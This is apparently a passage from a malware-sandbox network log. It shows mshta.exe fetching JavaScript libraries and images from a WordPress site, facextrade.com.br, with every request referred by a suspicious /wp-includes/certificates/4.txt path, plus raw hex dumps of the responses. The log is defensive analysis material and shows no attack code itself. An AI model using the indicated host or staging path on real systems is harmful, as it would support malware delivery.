Aug 16, 2022 11:53:29.767159939 CEST	1237	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:57 GMT Server: Apache ETag: "a534bd-434-58592d488ae40" Last-Modified: Tue, 02 Apr 2019 21:29:21 GMT Content-Length: 1076 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383670 23796843 Age: 212 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 66 6e 2e 6a 66 6c 69 63 6b 72 66 65 65 64 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 65 29 7b 63 3d 62 2e 65 78 74 65 6e 64 28 21 30 2c 7b 66 6c 69 63 6b 72 62 61 73 65 3a 22 2f 2f 61 70 69 2e 66 6c 69 63 6b 72 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 66 65 65 64 73 2f 22 2c 66 65 65 64 61 70 69 3a 22 70 68 6f 74 6f 73 5f 70 75 62 6c 69 63 2e 67 6e 65 22 2c 6c 69 6d 69 74 3a 32 30 2c 71 73 74 72 69 6e 67 73 3a 7b 6c 61 6e 67 3a 22 65 6e 2d 75 73 22 2c 66 6f 72 6d 61 74 3a 22 6a 73 6f 6e 22 2c 6a 73 6f 6e 63 61 6c 6c 62 61 63 6b 3a 22 3f 22 7d 2c 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 3a 21 30 2c 75 73 65 54 65 6d 70 6c 61 74 65 3a 21 30 2c 69 74 65 6d 54 65 6d 70 6c 61 74 65 3a 22 22 2c 69 74 65 6d 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 7d 2c 63 29 3b 76 61 72 20 64 3d 63 2e 66 6c 69 63 6b 72 62 61 73 65 2b 63 2e 66 65 65 64 61 70 69 2b 22 3f 22 2c 66 3d 21 30 2c 67 3b 66 6f 72 28 67 20 69 6e 20 63 2e 71 73 74 72 69 6e 67 73 29 66 7c 7c 28 64 2b 3d 22 26 22 29 2c 64 2b 3d 67 2b 22 3d 22 2b 63 2e 71 73 74 72 69 6e 67 73 5b 67 5d 2c 66 3d 21 31 3b 72 65 74 75 72 6e 20 62 28 74 68 69 73 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 3d 62 28 74 68 69 73 29 2c 66 3d 74 68 69 73 3b 62 2e 67 65 74 4a 53 4f 4e 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 62 2e 65 61 63 68 28 64 2e 69 74 65 6d 73 2c 66 75 6e 63 74 69 6f 6e 28 64 2c 61 29 7b 69 66 28 64 3c 63 2e 6c 69 6d 69 74 29 7b 69 66 28 63 2e 63 6c 65 61 6e 44 65 73 63 72 69 70 74 69 6f 6e 29 7b 76 61 72 20 62 3d 0a 2f 3c 70 3e 28 2e 2a 3f 29 3c 5c 2f 70 3e 2f 67 2c 65 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3b 62 2e 74 65 73 74 28 65 29 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 65 2e 6d 61 74 63 68 28 62 29 5b 32 5d 2c 76 6f 69 64 20 30 21 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 26 26 28 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 3d 61 2e 64 65 73 63 72 69 70 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 22 3c 70 3e 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 3c 2f 70 3e 22 2c 22 22 29 29 29 7d 61 2e 69 6d 61 67 65 5f 73 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 73 22 29 3b 61 2e 69 6d 61 67 65 5f 74 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 74 22 29 3b 61 2e 69 6d 61 67 65 5f 6d 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 6d 22 29 3b 61 2e 69 6d 61 67 65 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 22 29 3b 61 2e 69 6d 61 67 65 5f 62 3d 61 2e 6d 65 64 69 61 2e 6d 2e 72 65 70 6c 61 63 65 28 22 5f 6d 22 2c 22 5f 62 22 29 3b 64 65 6c 65 74 65 20 61 2e 6d 65 64 69 61 3b 69 66 28 63 2e 75 73 65 54 65 6d 70 6c 61 74 65 29 7b 76 61 72 20 62 3d 63 2e 69 74 65 6d 54 65 6d 70 6c 61 74 65 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 62 3d 62 2e 72 65 70 6c 61 63 65 28 52 65 67 45 78 70 28 22 7b 7b 22 2b 68 Data Ascii: (function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f\|\|(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=/<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h
Aug 16, 2022 11:53:29.770945072 CEST	1238	OUT	GET /wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:29.982722044 CEST	1248	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:59 GMT Server: Apache ETag: "a54b42-573c-58592e472c700" Last-Modified: Tue, 02 Apr 2019 21:33:48 GMT Content-Length: 22332 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383672 20383412 Age: 510 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 87 00 00 00 cb 08 06 00 00 00 1c 11 39 dc 00 00 20 00 49 44 41 54 78 9c ec 9d 79 7c 54 d5 fd f7 3f df 3b 4b 26 0b 21 84 24 84 10 03 01 8a 80 11 01 23 4b 40 01 7f 6e 45 02 82 82 16 65 d3 56 6c ad b5 b5 2e b5 fe fa f0 e2 f1 69 ad b5 d6 da cd 52 6b 21 c1 15 5c d8 a5 2e c5 85 04 84 88 a8 28 8a 2c 21 04 08 49 08 21 64 99 f5 7e 9f 3f 66 a8 49 66 c9 3d 77 ee 64 26 c9 79 bf ea 8b 57 ef 3d e7 dc 33 4b e6 7e ee 77 05 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 89 44 22 91 48 24 12 83 a1 68 6f 20 56 d9 c6 6c b6 95 57 65 5b 40 99 4c 4a 2a 88 d3 18 94 aa 80 6d 0c c4 03 00 33 cc 44 70 83 c9 c5 84 46 62 34 aa ac d6 9a 14 aa 85 aa d4 9e 43 63 f9 b4 dc 5c 7b b4 5f 8b 44 22 91 48 24 12 89 56 7a bc 38 dc 7b f2 64 82 d3 a1 8c 06 29 79 00 5f 0c 70 1e 40 83 89 39 1b 44 8a 01 97 a8 66 e0 30 31 be 02 e1 53 86 ba cf 6c 51 f7 8e cd ca aa 35 60 6d 89 44 22 91 48 24 12 43 e9 71 e2 f0 a3 ca ca 54 93 c7 7a a5 0a 4c 01 b8 80 18 a3 0d 12 81 62 30 1f 64 50 29 03 1f 32 3c ef 4c 18 d4 bf bc d3 f7 20 91 48 24 12 89 44 d2 8e 1e 21 0e 77 57 54 e5 81 69 2e 83 ae 01 f3 38 8a 86 18 ec 08 e6 03 4c d8 ca cc eb 8f 0e ec f7 de 3c 22 35 da 5b 92 48 24 12 89 44 d2 f3 e8 b6 e2 b0 ec 48 cd 70 55 51 6f 25 60 1e 40 c3 a2 bd 1f 11 98 51 0b f0 eb 50 e8 85 71 39 19 1f 44 7b 3f 12 89 44 22 91 48 7a 0e dd 4a 1c ee 3d 79 32 c1 e1 54 e6 11 e8 07 04 14 44 7b 3f 46 c0 8c c3 20 7e 96 55 ac 1a 9f db af 2a da fb 91 48 24 12 89 44 d2 bd e9 16 e2 b0 b4 a2 36 cb ac aa f7 00 7c 17 11 a5 84 b3 96 ca 8c ea ba 66 9c a8 6d c2 e9 86 16 d4 9d b3 a3 a1 d9 85 06 bb 13 2d 2e 0f 1a 5d 1e 34 b9 3c 50 99 01 00 16 45 81 cd ac 20 c9 62 82 cd 62 42 6f 9b 15 c9 09 16 a4 24 c5 21 bd 77 02 b2 d2 12 91 de 27 01 26 25 bc b7 9a c1 6e 02 bd ac aa fc e4 f8 dc 7e 7b c3 5a 4c 22 91 48 24 12 89 24 08 5d 5a 1c 7e 5c 71 6a a8 aa d2 23 4c 7c 1b 81 cc a2 f3 99 19 47 4e 36 e0 d0 f1 7a 1c ad 39 87 6f 6a 1a f1 59 63 0b 1a 54 36 74 9f 49 44 18 9b 1c 8f dc be 49 18 98 de 0b df c9 4e 41 6e ff 64 10 e9 7b fb 19 fc 1f 52 95 47 2f cb 4d 7f cf d0 8d 4a 24 12 89 44 22 e9 f1 74 49 71 b8 eb 68 d5 60 b0 b2 8c c0 b7 89 66 1a d7 d6 b7 60 cf 81 6a 7c 59 79 06 bb ab cf a2 dc e5 89 d4 36 43 32 c8 62 c2 a5 e9 c9 b8 64 60 5f 8c fe 4e 3a fa f6 8e 17 5f 84 f9 03 62 7e 28 3f 37 73 a7 f1 3b 94 48 24 12 89 44 d2 13 e9 52 e2 70 e7 81 da 64 25 4e 7d 04 e0 9f 12 c8 aa 75 de a9 ba 66 94 7e 71 12 65 e5 b5 78 af be 29 92 5b d4 cd 94 94 04 4c c8 4d c7 c4 bc 2c a4 a7 08 0b c5 d7 19 ea 03 e3 06 66 1e 8e c4 de 24 12 89 44 22 91 f4 1c ba 8c 38 dc 5d 5e fd 7d 06 1e 23 42 9a 96 f1 0e a7 1b a5 fb 4e 62 fb d7 55 d8 5a 7b 2e d2 db 33 0c 2b 80 2b d3 7a 61 ea c8 2c 4c b8 28 13 16 b3 49 d3 3c 06 3b 01 fa a3 62 76 2d cf 1f 30 a0 39 b2 bb 94 48 24 12 89 44 d2 5d 89 79 71 b8 eb 70 cd 30 52 d4 67 41 74 85 96 f1 d5 67 9a f1 ee Data Ascii: PNGIHDR9 IDATxy\|T?;K&!$#K@nEeVl.iRk!\.(,!I!d~?fIf=wd&yW=3K~w$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$D"H$ho VlWe[@LJm3DpFb4Cc\{_D"H$Vz8{d)y_p@9Df01SlQ5`mD"H$CqTzLb0dP)2<L H$D!wWTi.8L<"5[H$DHpUQo%`@QPq9D{?D"HzJ=y2TD{?F ~UH$D6\|fm-.]4<PE bbBo$!w'&%n~{ZL"H$$]Z~\qj#L\|GN6z9ojYcT6tIDINAnd{RG/MJ$D"tIqh`f`j\|Yy6C2bd`_N:_b~(?7s;H$DRpd%N}uf~qex)[LM,f$D"8]^}#BNbUZ{.3++za,L(I<;bv-09H$D]yqp0RgAtg

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.22	49202	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:37.366770029 CEST	1413	OUT	GET /wp-content/themes/theme51253/js/chart.min.js?ver=1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:37.602387905 CEST	1415	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:12 GMT Server: Apache ETag: "a53a4f-4d31-58592d7651a40" Last-Modified: Tue, 02 Apr 2019 21:30:09 GMT Content-Length: 19761 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21655284 15664932 Age: 205 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 76 61 72 20 43 68 61 72 74 3d 66 75 6e 63 74 69 6f 6e 28 73 29 7b 66 75 6e 63 74 69 6f 6e 20 76 28 61 2c 63 2c 62 29 7b 61 3d 41 28 28 61 2d 63 2e 67 72 61 70 68 4d 69 6e 29 2f 28 63 2e 73 74 65 70 73 2a 63 2e 73 74 65 70 56 61 6c 75 65 29 2c 31 2c 30 29 3b 72 65 74 75 72 6e 20 62 2a 63 2e 73 74 65 70 73 2a 61 7d 66 75 6e 63 74 69 6f 6e 20 78 28 61 2c 63 2c 62 2c 65 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 67 2b 3d 66 3b 76 61 72 20 6b 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 41 28 64 28 67 29 2c 6e 75 6c 6c 2c 30 29 3a 31 3b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 71 2c 75 29 3b 61 2e 73 63 61 6c 65 4f 76 65 72 6c 61 79 3f 28 62 28 6b 29 2c 63 28 29 29 3a 28 63 28 29 2c 62 28 6b 29 29 3b 69 66 28 31 3e 3d 67 29 44 28 68 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 29 61 2e 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 28 29 7d 76 61 72 20 66 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 31 2f 41 28 61 2e 61 6e 69 6d 61 74 69 6f 6e 53 74 65 70 73 2c 4e 75 6d 62 65 72 2e 4d 41 58 5f 56 41 4c 55 45 2c 31 29 3a 31 2c 64 3d 42 5b 61 2e 61 6e 69 6d 61 74 69 6f 6e 45 61 73 69 6e 67 5d 2c 67 3d 61 2e 61 6e 69 6d 61 74 69 6f 6e 3f 30 3a 31 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 74 79 70 65 6f 66 20 63 26 26 28 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3b 44 28 68 29 7d 66 75 6e 63 74 69 6f 6e 20 43 28 61 2c 63 2c 62 2c 65 2c 68 2c 66 29 7b 76 61 72 20 64 3b 61 3d 0a 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 6c 6f 67 28 65 2d 68 29 2f 4d 61 74 68 2e 4c 4e 31 30 29 3b 68 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 68 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 65 3d 4d 61 74 68 2e 63 65 69 6c 28 65 2f 28 31 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 29 29 2a 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 2d 68 3b 61 3d 4d 61 74 68 2e 70 6f 77 28 31 30 2c 61 29 3b 66 6f 72 28 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 64 3c 62 7c 7c 64 3e 63 3b 29 61 3d 64 3c 62 3f 61 2f 32 3a 32 2a 61 2c 64 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 65 2f 61 29 3b 63 3d 5b 5d 3b 7a 28 66 2c 63 2c 64 2c 68 2c 61 29 3b 72 65 74 75 72 6e 7b 73 74 65 70 73 3a 64 2c 73 74 65 70 56 61 6c 75 65 3a 61 2c 67 72 61 70 68 4d 69 6e 3a 68 2c 6c 61 62 65 6c 73 3a 63 7d 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 2c 63 2c 62 2c 65 2c 68 29 7b 69 66 28 61 29 66 6f 72 28 76 61 72 20 66 3d 31 3b 66 3c 62 2b 31 3b 66 2b 2b 29 63 2e 70 75 73 68 28 45 28 61 2c 7b 76 61 6c 75 65 3a 28 65 2b 68 2a 66 29 2e 74 6f 46 69 78 65 64 28 30 21 3d 68 25 31 3f 68 2e 74 6f 53 74 72 69 6e 67 28 29 2e 73 70 6c 69 74 28 22 2e 22 29 5b 31 5d 2e 6c 65 6e 67 74 68 3a 30 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 61 2c 63 2c 62 29 7b 72 65 74 75 72 6e 21 69 73 4e 61 4e Data Ascii: var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.stepsc.stepValue),1,0);return bc.stepsa}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1Math.pow(10,a)))Math.pow(10,a);e=Math.ceil(e/(1Math.pow(10,a)))Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b\|\|d>c;)a=d<b?a/2:2a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN
Aug 16, 2022 11:53:37.602430105 CEST	1416	IN	Data Raw: 28 70 61 72 73 65 46 6c 6f 61 74 28 63 29 29 26 26 69 73 46 69 6e 69 74 65 28 63 29 26 26 61 3e 63 3f 63 3a 21 69 73 4e 61 4e 28 70 61 72 73 65 46 6c 6f 61 74 28 62 29 29 26 26 0a 69 73 46 69 6e 69 74 65 28 62 29 26 26 61 3c 62 3f 62 3a 61 7d 66 Data Ascii: (parseFloat(c))&&isFinite(c)&&a>c?c:!isNaN(parseFloat(b))&&isFinite(b)&&a<b?b:a}function y(a,c){var b={},e;for(e in a)b[e]=a[e];for(e in c)b[e]=c[e];return b}function E(a,c){var b=!/\W/.test(a)?F[a]=F[a]\|\|E(document.getElementById(a).innerHTM
Aug 16, 2022 11:53:37.602475882 CEST	1417	IN	Data Raw: 6f 73 28 61 2f 31 2a 28 4d 61 74 68 2e 50 49 2f 32 29 29 2b 31 7d 2c 65 61 73 65 4f 75 74 53 69 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 31 2a 4d 61 74 68 2e 73 69 6e 28 61 2f 31 2a 28 4d 61 74 68 2e 50 49 2f 32 29 29 7d Data Ascii: os(a/1(Math.PI/2))+1},easeOutSine:function(a){return 1Math.sin(a/1(Math.PI/2))},easeInOutSine:function(a){return-0.5(Math.cos(Math.PIa/1)-1)},easeInExpo:function(a){return 0==a?1:1Math.pow(2,10*(a/1-1))},easeOutExpo:function(a){return 1=
Aug 16, 2022 11:53:37.602524996 CEST	1419	IN	Data Raw: 4d 61 74 68 2e 50 49 2f 62 29 2b 31 7d 2c 65 61 73 65 49 6e 42 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 31 2a 28 61 2f 3d 31 29 2a 61 2a 28 32 2e 37 30 31 35 38 2a 61 2d 31 2e 37 30 31 35 38 29 7d 2c 65 61 73 65 4f 75 Data Ascii: Math.PI/b)+1},easeInBack:function(a){return 1(a/=1)a(2.70158a-1.70158)},easeOutBack:function(a){return 1((a=a/1-1)a(2.70158a+1.70158)+1)},easeInOutBack:function(a){var c=1.70158;return 1>(a/=0.5)?0.5aa(((c=1.525)+1)a-c):0.5((a-=2
Aug 16, 2022 11:53:37.602607965 CEST	1420	IN	Data Raw: 6f 77 53 74 72 6f 6b 65 3a 21 30 2c 73 65 67 6d 65 6e 74 53 74 72 6f 6b 65 43 6f 6c 6f 72 3a 22 23 66 66 66 22 2c 73 65 67 6d 65 6e 74 53 74 72 6f 6b 65 57 69 64 74 68 3a 32 2c 61 6e 69 6d 61 74 69 6f 6e 3a 21 30 2c 61 6e 69 6d 61 74 69 6f 6e 53 Data Ascii: owStroke:!0,segmentStrokeColor:"#fff",segmentStrokeWidth:2,animation:!0,animationSteps:100,animationEasing:"easeOutBounce",animateRotate:!0,animateScale:!1,onAnimationComplete:null};var b=c?y(r.PolarArea.defaults,c):r.PolarArea.defaults;retur
Aug 16, 2022 11:53:37.602658033 CEST	1421	IN	Data Raw: 69 6d 61 74 65 53 63 61 6c 65 3a 21 31 2c 6f 6e 41 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 3a 6e 75 6c 6c 7d 3b 76 61 72 20 62 3d 63 3f 79 28 72 2e 50 69 65 2e 64 65 66 61 75 6c 74 73 2c 63 29 3a 72 2e 50 69 65 2e 64 65 66 61 75 6c 74 73 Data Ascii: imateScale:!1,onAnimationComplete:null};var b=c?y(r.Pie.defaults,c):r.Pie.defaults;return new I(a,b,s)};this.Doughnut=function(a,c){r.Doughnut.defaults={segmentShowStroke:!0,segmentStrokeColor:"#fff",segmentStrokeWidth:2,percentageInnerCutout:
Aug 16, 2022 11:53:37.602706909 CEST	1423	IN	Data Raw: 6e 74 46 61 6d 69 6c 79 3a 22 27 41 72 69 61 6c 27 22 2c 0a 73 63 61 6c 65 46 6f 6e 74 53 69 7a 65 3a 31 32 2c 73 63 61 6c 65 46 6f 6e 74 53 74 79 6c 65 3a 22 6e 6f 72 6d 61 6c 22 2c 73 63 61 6c 65 46 6f 6e 74 43 6f 6c 6f 72 3a 22 23 36 36 36 22 Data Ascii: ntFamily:"'Arial'",scaleFontSize:12,scaleFontStyle:"normal",scaleFontColor:"#666",scaleShowGridLines:!0,scaleGridLineColor:"rgba(0,0,0,.05)",scaleGridLineWidth:1,barShowStroke:!0,barStrokeWidth:2,barValueSpacing:5,barDatasetSpacing:1,animatio
Aug 16, 2022 11:53:37.602751970 CEST	1424	IN	Data Raw: 69 6c 79 3b 76 61 72 20 65 3d 6a 2e 6c 61 62 65 6c 73 5b 61 5d 3b 69 66 28 63 2e 73 63 61 6c 65 53 68 6f 77 4c 61 62 65 6c 42 61 63 6b 64 72 6f 70 29 7b 76 61 72 20 64 3d 62 2e 6d 65 61 73 75 72 65 54 65 78 74 28 65 29 2e 77 69 64 74 68 3b 62 2e Data Ascii: ily;var e=j.labels[a];if(c.scaleShowLabelBackdrop){var d=b.measureText(e).width;b.fillStyle=c.scaleBackdropColor;b.beginPath();b.rect(Math.round(q/2-d/2-c.scaleBackdropPaddingX),Math.round(u/2-k(a+1)-0.5c.scaleFontSize-c.scaleBackdropPaddin
Aug 16, 2022 11:53:37.602801085 CEST	1426	IN	Data Raw: 64 61 74 61 73 65 74 73 5b 66 5d 2e 64 61 74 61 5b 6d 5d 29 2c 61 2e 64 61 74 61 73 65 74 73 5b 66 5d 2e 64 61 74 61 5b 6d 5d 3c 68 26 26 28 68 3d 61 2e 64 61 74 61 73 65 74 73 5b 66 5d 2e 64 61 74 61 5b 6d 5d 29 3b 66 3d 4d 61 74 68 2e 66 6c 6f Data Ascii: datasets[f].data[m]),a.datasets[f].data[m]<h&&(h=a.datasets[f].data[m]);f=Math.floor(l/(0.66d));d=Math.floor(0.5(l/d));m=c.scaleShowLabels?c.scaleLabel:null;c.scaleOverride?(j={steps:c.scaleSteps,stepValue:c.scaleStepWidth,graphMin:c.scaleSt
Aug 16, 2022 11:53:37.602852106 CEST	1427	IN	Data Raw: 53 74 79 6c 65 3d 63 2e 73 63 61 6c 65 46 6f 6e 74 43 6f 6c 6f 72 2c 62 2e 66 69 6c 6c 54 65 78 74 28 6a 2e 6c 61 62 65 6c 73 5b 64 5d 2c 30 2c 2d 6b 2a 28 64 2b 0a 31 29 29 29 7d 66 6f 72 28 64 3d 30 3b 64 3c 61 2e 6c 61 62 65 6c 73 2e 6c 65 6e Data Ascii: Style=c.scaleFontColor,b.fillText(j.labels[d],0,-k(d+1)))}for(d=0;d<a.labels.length;d++){b.font=c.pointLabelFontStyle+" "+c.pointLabelFontSize+"px "+c.pointLabelFontFamily;b.fillStyle=c.pointLabelFontColor;var f=Math.sin(ed)*(g+c.pointLabel
Aug 16, 2022 11:53:37.841856956 CEST	1443	IN	Data Raw: 69 6d 61 74 65 53 63 61 6c 65 26 26 28 66 3d 64 29 2c 63 2e 61 6e 69 6d 61 74 65 52 6f 74 61 74 65 26 26 28 6a 3d 64 29 29 3b 66 6f 72 28 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 6c 3d 6a 2a 61 5b 64 5d 2e 76 61 6c Data Ascii: imateScale&&(f=d),c.animateRotate&&(j=d));for(d=0;d<a.length;d++){var l=ja[d].value/e2Math.PI;b.beginPath();b.arc(q/2,u/2,fh,g,g+l);b.lineTo(q/2,u/2);b.closePath();b.fillStyle=a[d].color;b.fill();c.segmentShowStroke&&(b.lineWidth=c.segmen
Aug 16, 2022 11:53:37.843364954 CEST	1449	OUT	GET /wp-content/plugins/gtranslate/switcher.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:38.078425884 CEST	1478	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:50:10 GMT Server: Apache ETag: "a50db1-cf-5c93d3867844d" Last-Modified: Tue, 10 Aug 2021 23:54:20 GMT Content-Length: 207 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20836693 21588287 Age: 207 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 13 08 06 00 00 00 a9 eb 9c ee 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 00 16 74 45 58 74 43 72 65 61 74 69 6f 6e 20 54 69 6d 65 00 30 31 2f 30 39 2f 31 30 dc b9 92 1f 00 00 00 1c 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 46 69 72 65 77 6f 72 6b 73 20 43 53 34 06 b2 d3 a0 00 00 00 27 49 44 41 54 28 91 63 7c f7 ee dd 7f 06 22 00 0b 23 23 23 31 ea 86 84 42 26 a2 54 d1 c4 ea 51 85 d4 51 48 fd 28 04 00 35 2f 04 3f b8 1b 51 2d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dpHYs~tEXtCreation Time01/09/10tEXtSoftwareAdobe Fireworks CS4'IDAT(c\|"###1B&TQQH(5/?Q-IENDB`
Aug 16, 2022 11:53:38.084718943 CEST	1478	OUT	GET /wp-content/plugins/gtranslate/arrow_down.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
